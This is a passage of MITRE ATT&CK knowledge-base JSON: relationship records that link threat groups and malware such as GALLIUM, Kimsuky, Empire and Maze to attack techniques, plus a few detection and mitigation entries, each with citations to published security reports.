persistence.","source_ref":"x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8","target_ref":"attack-pattern--573ad264-1371-4ae0-8482-d2673b719dba","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--626697e3-0d05-4081-aa11-61280a502249","type":"relationship","created":"2019-07-18T21:12:51.554Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Cybereason Nocturnus. (2019, June 25). Operation Soft Cell: A Worldwide Campaign Against Telecommunications Providers. Retrieved July 18, 2019.","url":"https://www.cybereason.com/blog/operation-soft-cell-a-worldwide-campaign-against-telecommunications-providers","source_name":"Cybereason Soft Cell June 2019"},{"source_name":"Microsoft GALLIUM December 2019","url":"https://www.microsoft.com/security/blog/2019/12/12/gallium-targeting-global-telecom/","description":"MSTIC. (2019, December 12). GALLIUM: Targeting global telecom. Retrieved January 13, 2021."}],"modified":"2021-01-13T21:05:37.864Z","description":"[GALLIUM](https://attack.mitre.org/groups/G0093) used Web shells to persist in victim environments and assist in execution and exfiltration.(Citation: Cybereason Soft Cell June 2019)(Citation: Microsoft GALLIUM December 2019)","relationship_type":"uses","source_ref":"intrusion-set--06a11b7e-2a36-47fe-8d3e-82c265df3258","target_ref":"attack-pattern--5d0d3609-d06d-49e1-b9c9-b544e0c618cb","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--626b1cb2-60a8-4077-913e-1ee4e788cec6","type":"relationship","created":"2019-01-29T21:33:34.689Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 BadPatch Oct 2017","url":"https://researchcenter.paloaltonetworks.com/2017/10/unit42-badpatch/","description":"Bar, T., Conant, S. (2017, October 20). BadPatch. Retrieved November 13, 2018."}],"modified":"2020-03-16T16:00:09.825Z","description":"[BadPatch](https://attack.mitre.org/software/S0337) has a keylogging capability.(Citation: Unit 42 BadPatch Oct 2017)","relationship_type":"uses","source_ref":"malware--9af05de0-bc09-4511-a350-5eb8b06185c1","target_ref":"attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--626fcdd2-aaef-4670-ac9e-112c59151f95","created":"2022-06-03T14:43:01.533Z","x_mitre_version":"0.1","external_references":[{"source_name":"SecureWorks August 2019","url":"https://www.secureworks.com/blog/lyceum-takes-center-stage-in-middle-east-campaign","description":"SecureWorks 2019, August 27 LYCEUM Takes Center Stage in Middle East Campaign Retrieved. 2019/11/19 "}],"x_mitre_deprecated":false,"revoked":false,"description":"[DanBot](https://attack.mitre.org/software/S1014) can upload files from compromised hosts.(Citation: SecureWorks August 2019)","modified":"2022-06-03T14:43:01.533Z","relationship_type":"uses","source_ref":"malware--b8d48deb-450c-44f6-a934-ac8765aa89cb","target_ref":"attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--62784c03-0ee3-4a53-ba0e-876db5ede08a","created":"2022-04-12T14:50:53.218Z","x_mitre_version":"0.1","external_references":[{"source_name":"Talos Kimsuky Nov 2021","url":"https://blog.talosintelligence.com/2021/11/kimsuky-abuses-blogs-delivers-malware.html","description":"An, J and Malhotra, A. (2021, November 10). North Korean attackers use malicious blogs to deliver malware to high-profile South Korean targets. Retrieved December 29, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Kimsuky](https://attack.mitre.org/groups/G0094) has obtained specific Registry keys and values on a compromised host.(Citation: Talos Kimsuky Nov 2021)","modified":"2022-04-12T14:50:53.218Z","relationship_type":"uses","source_ref":"intrusion-set--0ec2f388-bf0f-4b5c-97b1-fc736d26c25f","target_ref":"attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--62785ee1-44c5-4938-a479-3f1546531032","type":"relationship","created":"2019-03-11T19:24:08.125Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://github.com/PowerShellEmpire/Empire","description":"Schroeder, W., Warner, J., Nelson, M. (n.d.). Github PowerShellEmpire. Retrieved April 28, 2016.","source_name":"Github PowerShell Empire"}],"modified":"2021-04-09T14:46:59.529Z","description":"[Empire](https://attack.mitre.org/software/S0363) can add a SID-History to a user if on a domain controller.(Citation: Github PowerShell Empire)","relationship_type":"uses","source_ref":"tool--3433a9e8-1c47-4320-b9bf-ed449061d1c3","target_ref":"attack-pattern--b7dc639b-24cd-482d-a7f1-8897eda21023","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--627ec847-1807-4e99-b968-f1ab412d17d1","created":"2024-02-09T19:46:41.540Z","revoked":false,"external_references":[{"source_name":"Mandiant Pulse Secure Zero-Day April 2021","description":"Perez, D. et al. (2021, April 20). Check Your Pulse: Suspected APT Actors Leverage Authentication Bypass Techniques and Pulse Secure Zero-Day. Retrieved February 5, 2024.","url":"https://www.mandiant.com/resources/blog/suspected-apt-actors-leverage-bypass-techniques-pulse-secure-zero-day"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-02-09T19:46:41.540Z","description":"[SLIGHTPULSE](https://attack.mitre.org/software/S1110) can deobfuscate base64 encoded and RC4 encrypted C2 messages.(Citation: Mandiant Pulse Secure Zero-Day April 2021)","relationship_type":"uses","source_ref":"malware--d1008b78-960c-4b36-bdc4-39a734e1e4e3","target_ref":"attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--628054bd-e758-4528-a1fb-40983ecec149","created":"2020-12-29T18:53:14.964Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"CISA AA20-259A Iran-Based Actor September 2020","description":"CISA. (2020, September 15). Iran-Based Threat Actor Exploits VPN Vulnerabilities. Retrieved December 21, 2020.","url":"https://us-cert.cisa.gov/ncas/alerts/aa20-259a"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-30T13:51:38.726Z","description":"[Fox Kitten](https://attack.mitre.org/groups/G0117) has accessed victim security and IT environments and Microsoft Teams to mine valuable information.(Citation: CISA AA20-259A Iran-Based Actor September 2020)","relationship_type":"uses","source_ref":"intrusion-set--c21dd6f1-1364-4a70-a1f7-783080ec34ee","target_ref":"attack-pattern--fb75213f-cfb0-40bf-a02f-3bad93d6601e","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6287195f-bb8e-45e2-8701-76ec2c5e7a60","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Rancor Unit42 June 2018","description":"Ash, B., et al. (2018, June 26). RANCOR: Targeted Attacks in South East Asia Using PLAINTEE and DDKONG Malware Families. Retrieved July 2, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/06/unit42-rancor-targeted-attacks-south-east-asia-using-plaintee-ddkong-malware-families/"}],"modified":"2019-04-25T12:37:45.657Z","description":"(Citation: Rancor Unit42 June 2018)","relationship_type":"uses","source_ref":"intrusion-set--f40eb8ce-2a74-4e56-89a1-227021410142","target_ref":"malware--21c0b55b-5ff3-4654-a05e-e3fc1ee1ce1b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--62943e4f-a181-4eb2-84a4-27ed3e7308af","type":"relationship","created":"2020-03-19T22:38:12.967Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"F-Secure The Dukes","description":"F-Secure Labs. (2015, September 17). The Dukes: 7 years of Russian cyberespionage. Retrieved December 10, 2015.","url":"https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf"}],"modified":"2020-03-19T22:38:12.967Z","description":"[CosmicDuke](https://attack.mitre.org/software/S0050) collects user credentials, including passwords, for various programs including Web browsers.(Citation: F-Secure The Dukes)","relationship_type":"uses","source_ref":"malware--2eb9b131-d333-4a48-9eb4-d8dec46c19ee","target_ref":"attack-pattern--58a3e6aa-4453-4cc8-a51f-4befe80b31a8","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--6294c77d-4a8d-4f6d-ba52-d3b84c109cb4","created":"2023-09-12T19:50:16.354Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Proofpoint TA2541 February 2022","description":"Larson, S. and Wise, J. (2022, February 15). Charting TA2541's Flight. Retrieved September 12, 2023.","url":"https://www.proofpoint.com/us/blog/threat-insight/charting-ta2541s-flight"},{"source_name":"Cisco Operation Layover September 2021","description":"Ventura, V. (2021, September 16). Operation Layover: How we tracked an attack on the aviation industry to five years of compromise. Retrieved September 15, 2023.","url":"https://blog.talosintelligence.com/operation-layover-how-we-tracked-attack/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-18T18:07:19.253Z","description":"[TA2541](https://attack.mitre.org/groups/G1018) has registered domains often containing the keywords “kimjoy,” “h0pe,” and “grace,” using domain registrars including Netdorm and No-IP DDNS, and hosting providers including xTom GmbH and Danilenko, Artyom.(Citation: Proofpoint TA2541 February 2022)(Citation: Cisco Operation Layover September 2021)","relationship_type":"uses","source_ref":"intrusion-set--467271fd-47c0-4e90-a3f9-d84f5cf790d0","target_ref":"attack-pattern--40f5caa0-4cb7-4117-89fc-d421bb493df3","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--62959831-1f76-4274-b462-731fcffd164d","type":"relationship","created":"2020-02-18T16:51:57.989Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-02-18T16:51:57.989Z","relationship_type":"revoked-by","source_ref":"attack-pattern--56ff457d-5e39-492b-974c-dfd2b8603ffe","target_ref":"attack-pattern--60b508a1-6a5e-46b1-821a-9f7b78752abf","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--629775bc-6ca5-499c-b756-69017c064f37","type":"relationship","created":"2021-01-08T21:14:15.986Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Red Canary NETWIRE January 2020","url":"https://redcanary.com/blog/netwire-remote-access-trojan-on-linux/","description":"Lambert, T. (2020, January 29). Intro to Netwire. Retrieved January 7, 2021."}],"modified":"2021-01-08T21:14:15.986Z","description":"[NETWIRE](https://attack.mitre.org/software/S0198) can use crontabs to establish persistence.(Citation: Red Canary NETWIRE January 2020)","relationship_type":"uses","source_ref":"malware--2a70812b-f1ef-44db-8578-a496a227aef2","target_ref":"attack-pattern--2acf44aa-542f-4366-b4eb-55ef5747759c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--62a11eb5-d59b-49d3-b4b5-d88e3cb4e538","created":"2022-09-09T16:21:25.094Z","revoked":false,"external_references":[{"source_name":"TrendMicro EarthLusca 2022","description":"Chen, J., et al. (2022). Delving Deep: An Analysis of Earth Lusca’s Operations. Retrieved July 1, 2022.","url":"https://www.trendmicro.com/content/dam/trendmicro/global/en/research/22/a/earth-lusca-employs-sophisticated-infrastructure-varied-tools-and-techniques/technical-brief-delving-deep-an-analysis-of-earth-lusca-operations.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-09T16:21:25.094Z","description":"(Citation: TrendMicro EarthLusca 2022)","relationship_type":"uses","source_ref":"intrusion-set--cc613a49-9bfa-4e22-98d1-15ffbb03f034","target_ref":"tool--2e45723a-31da-4a7e-aaa6-e01998a6788f","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--62a2b674-1eb3-4a9f-ac4f-2766c077eb58","created":"2020-10-02T17:04:58.162Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Cycraft Chimera April 2020","description":"Cycraft. (2020, April 15). APT Group Chimera - APT Operation Skeleton key Targets Taiwan Semiconductor Vendors. Retrieved August 24, 2020..","url":"https://cycraft.com/download/CyCraft-Whitepaper-Chimera_V4.1.pdf"},{"source_name":"NCC Group Chimera January 2021","description":"Jansen, W . (2021, January 12). Abusing cloud services to fly under the radar. Retrieved September 12, 2024.","url":"https://web.archive.org/web/20230218064220/https://research.nccgroup.com/2021/01/12/abusing-cloud-services-to-fly-under-the-radar/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-12T19:24:40.421Z","description":"[Chimera](https://attack.mitre.org/groups/G0114) has used Windows admin shares to move laterally.(Citation: Cycraft Chimera April 2020)(Citation: NCC Group Chimera January 2021)","relationship_type":"uses","source_ref":"intrusion-set--8c1f0187-0826-4320-bddc-5f326cfcfe2c","target_ref":"attack-pattern--4f9ca633-15c5-463c-9724-bdcd54fde541","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--62a7f7c2-435d-4ef6-aee3-add933fb241d","type":"relationship","created":"2020-05-14T15:14:33.519Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Kaspersky MoleRATs April 2019","url":"https://securelist.com/gaza-cybergang-group1-operation-sneakypastes/90068/","description":"GReAT. (2019, April 10). Gaza Cybergang Group1, operation SneakyPastes. Retrieved May 13, 2020."}],"modified":"2020-05-14T15:14:33.519Z","description":"[DustySky](https://attack.mitre.org/software/S0062) can detect connected USB devices.(Citation: Kaspersky MoleRATs April 2019)","relationship_type":"uses","source_ref":"malware--687c23e4-4e25-4ee7-a870-c5e002511f54","target_ref":"attack-pattern--348f1eef-964b-4eb6-bb53-69b3dcb0c643","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--62a81aa2-bba1-47f3-81bc-ddc1912e2540","type":"relationship","created":"2020-11-09T14:52:45.671Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cybereason Kimsuky November 2020","url":"https://www.cybereason.com/blog/back-to-the-future-inside-the-kimsuky-kgh-spyware-suite","description":"Dahan, A. et al. (2020, November 2). Back to the Future: Inside the Kimsuky KGH Spyware Suite. Retrieved November 6, 2020."}],"modified":"2021-04-22T13:48:19.842Z","description":"[CSPY Downloader](https://attack.mitre.org/software/S0527) has attempted to appear as a legitimate Windows service with a fake description claiming it is used to support packed applications.(Citation: Cybereason Kimsuky November 2020)","relationship_type":"uses","source_ref":"tool--5256c0f8-9108-4c92-8b09-482dfacdcd94","target_ref":"attack-pattern--7bdca9d5-d500-4d7d-8c52-5fd47baf4c0c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--62aae506-b42e-4e37-9ba4-1daa30255f77","created":"2024-08-27T21:06:36.012Z","revoked":false,"external_references":[{"source_name":"Lumen Versa 2024","description":"Black Lotus Labs. (2024, August 27). Taking The Crossroads: The Versa Director Zero-Day Exploitaiton. Retrieved August 27, 2024.","url":"https://blog.lumen.com/taking-the-crossroads-the-versa-director-zero-day-exploitation/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-27T21:06:36.012Z","description":"[VersaMem](https://attack.mitre.org/software/S1154) encrypted captured credentials with AES then Base64 encoded them before writing to local storage.(Citation: Lumen Versa 2024)","relationship_type":"uses","source_ref":"malware--0a6ec267-83a9-41a5-98c7-57c3ff81e11f","target_ref":"attack-pattern--0d91b3c0-5e50-47c3-949a-2a796f04d144","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--62b22a20-4049-4f0d-b879-235e8ab96764","type":"relationship","created":"2020-02-18T16:48:56.787Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://docs.microsoft.com/windows/device-security/security-policy-settings/create-a-token-object","description":"Brower, N., Lich, B. (2017, April 19). Create a token object. Retrieved December 19, 2017.","source_name":"Microsoft Create Token"},{"url":"https://docs.microsoft.com/windows/device-security/security-policy-settings/replace-a-process-level-token","description":"Brower, N., Lich, B. (2017, April 19). Replace a process level token. Retrieved December 19, 2017.","source_name":"Microsoft Replace Process Token"},{"url":"https://technet.microsoft.com/en-us/library/bb490994.aspx","description":"Microsoft TechNet. (n.d.). Runas. Retrieved April 21, 2017.","source_name":"Microsoft runas"}],"modified":"2021-10-17T14:51:49.208Z","description":"Limit permissions so that users and user groups cannot create tokens. This setting should be defined for the local system account only. GPO: Computer Configuration > [Policies] > Windows Settings > Security Settings > Local Policies > User Rights Assignment: Create a token object. (Citation: Microsoft Create Token) Also define who can create a process level token to only the local and network service through GPO: Computer Configuration > [Policies] > Windows Settings > Security Settings > Local Policies > User Rights Assignment: Replace a process level token.(Citation: Microsoft Replace Process Token)\n\nAdministrators should log in as a standard user but run their tools with administrator privileges using the built-in access token manipulation command runas.(Citation: Microsoft runas)","relationship_type":"mitigates","source_ref":"course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f","target_ref":"attack-pattern--677569f9-a8b0-459e-ab24-7f18091fa7bf","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--62b24ac0-b55c-42fa-bbf3-80ab7ba620d9","created":"2022-03-30T14:26:51.843Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-24T15:12:26.130Z","description":"Monitor for changes in the status of the cloud firewall.","relationship_type":"detects","source_ref":"x-mitre-data-component--c97d0171-f6e0-4415-85ff-4082fdb8c72a","target_ref":"attack-pattern--77532a55-c283-4cd2-bc5d-2d0b65e9d88c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--62bd74e2-ca03-4564-ae9b-75637c4c6acf","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 DarkHydrus July 2018","description":"Falcone, R., et al. (2018, July 27). New Threat Actor Group DarkHydrus Targets Middle East Government. Retrieved August 2, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/07/unit42-new-threat-actor-group-darkhydrus-targets-middle-east-government/"}],"modified":"2019-04-24T23:55:43.436Z","description":"[RogueRobin](https://attack.mitre.org/software/S0270) collects the victim’s username and whether that user is an admin.(Citation: Unit 42 DarkHydrus July 2018)","relationship_type":"uses","source_ref":"malware--8ec6e3b4-b06d-4805-b6aa-af916acc2122","target_ref":"attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--62bf12af-cf11-48e7-8963-4fdf3e23fea0","type":"relationship","created":"2020-05-05T18:47:47.370Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Imminent Unit42 Dec2019","url":"https://unit42.paloaltonetworks.com/imminent-monitor-a-rat-down-under/","description":"Unit 42. (2019, December 2). Imminent Monitor – a RAT Down Under. Retrieved May 5, 2020."},{"source_name":"QiAnXin APT-C-36 Feb2019","url":"https://web.archive.org/web/20190625182633if_/https://ti.360.net/blog/articles/apt-c-36-continuous-attacks-targeting-colombian-government-institutions-and-corporations-en/","description":"QiAnXin Threat Intelligence Center. (2019, February 18). APT-C-36: Continuous Attacks Targeting Colombian Government Institutions and Corporations. Retrieved May 5, 2020."}],"modified":"2020-10-14T14:40:36.408Z","description":"[Imminent Monitor](https://attack.mitre.org/software/S0434) has a remote webcam monitoring capability.(Citation: Imminent Unit42 Dec2019)(Citation: QiAnXin APT-C-36 Feb2019)","relationship_type":"uses","source_ref":"tool--8f8cd191-902c-4e83-bf20-b57c8c4640e9","target_ref":"attack-pattern--6faf650d-bf31-4eb4-802d-1000cf38efaf","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--62bf46b4-69b3-4a32-bcbb-c9d960e3039a","created":"2019-05-29T14:32:01.686Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Deep Instinct TA505 Apr 2019","description":"Vilkomir-Preisman, S. (2019, April 2). New ServHelper Variant Employs Excel 4.0 Macro to Drop Signed Payload. Retrieved September 16, 2024..","url":"https://www.deepinstinct.com/blog/new-servhelper-variant-employs-excel-4-0-macro-to-drop-signed-payload"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-16T16:25:13.664Z","description":"[ServHelper](https://attack.mitre.org/software/S0382) may attempt to establish persistence via the HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\ run key.(Citation: Deep Instinct TA505 Apr 2019)","relationship_type":"uses","source_ref":"malware--aae22730-e571-4d17-b037-65f2a3e26213","target_ref":"attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--62c1a647-4a39-45b1-8d68-99b19ec12a78","type":"relationship","created":"2020-10-19T13:55:56.273Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Sophos Maze VM September 2020","url":"https://news.sophos.com/en-us/2020/09/17/maze-attackers-adopt-ragnar-locker-virtual-machine-technique/","description":"Brandt, A., Mackenzie, P.. (2020, September 17). Maze Attackers Adopt Ragnar Locker Virtual Machine Technique. Retrieved October 9, 2020."}],"modified":"2020-10-19T16:33:42.242Z","description":"[Maze](https://attack.mitre.org/software/S0449) has issued a shutdown command on a victim machine that, upon reboot, will run the ransomware within a VM.(Citation: Sophos Maze VM September 2020)","relationship_type":"uses","source_ref":"malware--d9f7383c-95ec-4080-bbce-121c9384457b","target_ref":"attack-pattern--ff73aa03-0090-4464-83ac-f89e233c02bc","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--62c20028-7476-4358-8384-93d40cb65222","type":"relationship","created":"2022-03-10T20:49:32.841Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 WhisperGate January 2022","url":"https://unit42.paloaltonetworks.com/ukraine-cyber-conflict-cve-2021-32648-whispergate/#whispergate-malware-family","description":"Falcone, R. et al.. (2022, January 20). Threat Brief: Ongoing Russia and Ukraine Cyber Conflict. Retrieved March 10, 2022."},{"source_name":"Medium S2W WhisperGate January 2022","url":"https://medium.com/s2wblog/analysis-of-destructive-malware-whispergate-targeting-ukraine-9d5d158f19f3","description":"S2W. (2022, January 18). Analysis of Destructive Malware (WhisperGate) targeting Ukraine. Retrieved March 14, 2022."}],"modified":"2022-03-14T15:00:31.260Z","description":"[WhisperGate](https://attack.mitre.org/software/S0689) can make an HTTPS connection to download additional files.(Citation: Unit 42 WhisperGate January 2022)(Citation: Medium S2W WhisperGate January 2022)","relationship_type":"uses","source_ref":"malware--49fee0b0-390e-4bde-97f8-97ed46bd19b7","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--62c5050d-983c-44f7-ba23-f2820398eb67","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://blog.talosintelligence.com/2018/07/multiple-cobalt-personality-disorder.html","description":"Svajcer, V. (2018, July 31). Multiple Cobalt Personality Disorder. Retrieved September 5, 2018.","source_name":"Talos Cobalt Group July 2018"},{"source_name":"Morphisec Cobalt Gang Oct 2018","url":"https://blog.morphisec.com/cobalt-gang-2.0","description":"Gorelik, M. (2018, October 08). Cobalt Group 2.0. Retrieved November 5, 2018."},{"description":"Giagone, R., Bermejo, L., and Yarochkin, F. (2017, November 20). Cobalt Strikes Again: Spam Runs Use Macros and CVE-2017-8759 Exploit Against Russian Banks. Retrieved March 7, 2019.","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/cobalt-spam-runs-use-macros-cve-2017-8759-exploit/","source_name":"TrendMicro Cobalt Group Nov 2017"}],"modified":"2019-07-26T23:38:33.825Z","description":"[Cobalt Group](https://attack.mitre.org/groups/G0080) has used regsvr32.exe to execute scripts.(Citation: Talos Cobalt Group July 2018)(Citation: Morphisec Cobalt Gang Oct 2018)(Citation: TrendMicro Cobalt Group Nov 2017)","relationship_type":"uses","source_ref":"intrusion-set--dc6fe6ee-04c2-49be-ba3d-f38d2463c02a","target_ref":"attack-pattern--b97f1d35-4249-4486-a6b5-ee60ccf24fab","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--62c8913c-c193-4feb-ab58-88343838336d","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Securelist MiniDuke Feb 2013","description":"Kaspersky Lab's Global Research & Analysis Team. (2013, February 27). The 